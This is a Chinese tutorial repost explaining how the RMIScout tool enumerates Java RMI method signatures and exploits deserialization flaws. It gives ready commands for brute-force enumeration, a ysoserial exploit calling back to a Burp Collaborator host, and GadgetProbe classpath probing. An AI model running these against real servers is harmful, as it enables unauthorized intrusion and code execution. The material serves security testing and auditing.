这篇文章主要介绍“RMIScout怎么使用”,在日常操作中,相信很多人在RMIScout怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”RMIScout怎么使用”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!
RMIScout
RMIScout是一款针对Java RMI的安全审计工具,该工具可以使用字典和爆破策略来枚举Java RMI功能,并利用其中潜在的RMI参数解集(Unmarshalling)漏洞。实际上,RMIScout能够针对Java RMI接口执行基于字典的暴力破解攻击,并在不需要调用任何其他方法的情况下安全地猜测方法签名。
在一台存在错误配置的服务器中,任何已知的RMI签名都会使用non-primitive类型,比如说java.lang.String
,而在这种情况下,攻击者将能够可通过将对象转换为序列化的Payload来利用此漏洞。这种错误配置非常常见,比如说,VMWare vSphere Data Protection + vRealize Operations Manager、Pivotal tc Server and Gemfire和Apache Karaf + Cassandra等等。
RMIScout整合ysoserial和GadgetProbe将可以针对错误配置进程范围序列化筛选器(JEP 290)的服务执行反序列化攻击。
功能介绍
1、提供字典和基于文本的爆破策略,而不是对64位方法哈希进行爆破;
2、在无需任何方法调用的情况下识别RMI方法;
3、提供了一种简单的方法来利用已知的不安全RMI参数解集漏洞,并与ysoserial或Payload实现
ysoserial.payloads.ObjectPayload
集成;4、集成GadgetProbe来识别远程类,以帮助识别相关软件并构建gadget链;
如需开始搜索,可参考工具自带的
lists/prototypes.txt
字典文件,该字典文件涵盖了超过15000种RMI原型。
工作机制
可在无需执行RMI函数的情况下对RMI方法进行识别,RMIScout使用了底层RMI网络功能和动态类生成方法来发送带有故意不匹配类型的RMI调用,以触发远程异常。所有参数都将替换为动态生成的可序列化类,该类的名称假定为255个字符,并且在远程类路径中不存在。比如说:
远程接口:
void login(String user, String password)
RMIScout将会调用:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
如果目标类存在,那么将会触发一个由ClassNotFoundException
发出的远程java.rmi.UnmarshalException
异常或参数解集错误,整个过程无需调用底层方法。
完整技术手册:【点我获取】
工具下载
广大研究人员可以使用下列命令将项目源码克隆至本地:
git clone https://github.com/BishopFox/rmiscout.git
工具使用
针对远程RMI服务,使用函数原型字典执行基于字典的爆破攻击:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
使用方法字典和其他选项执行爆破攻击:
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
根据特定的ysoserial Payload以及Payload参数来转换对象派生类型:
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
使用GadgetProbe和已知签名对远程类路径执行爆破:
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
构建和运行
使用包含的rmiscout.sh自动化对项目代码进行构建,其封装了java -jar
语句:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
或者,你也可以手动构建项目源码,即使用传统的java -jar
语句:
# Manually build JAR ./gradlew shadowJar java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
工具使用
运行RMI演示服务器,并使用demo/wordlist.txt
字典文件:
cd demo ./start.sh
到此,关于“RMIScout怎么使用”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注亿速云网站,小编会继续努力为大家带来更多实用的文章!
原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/225971.html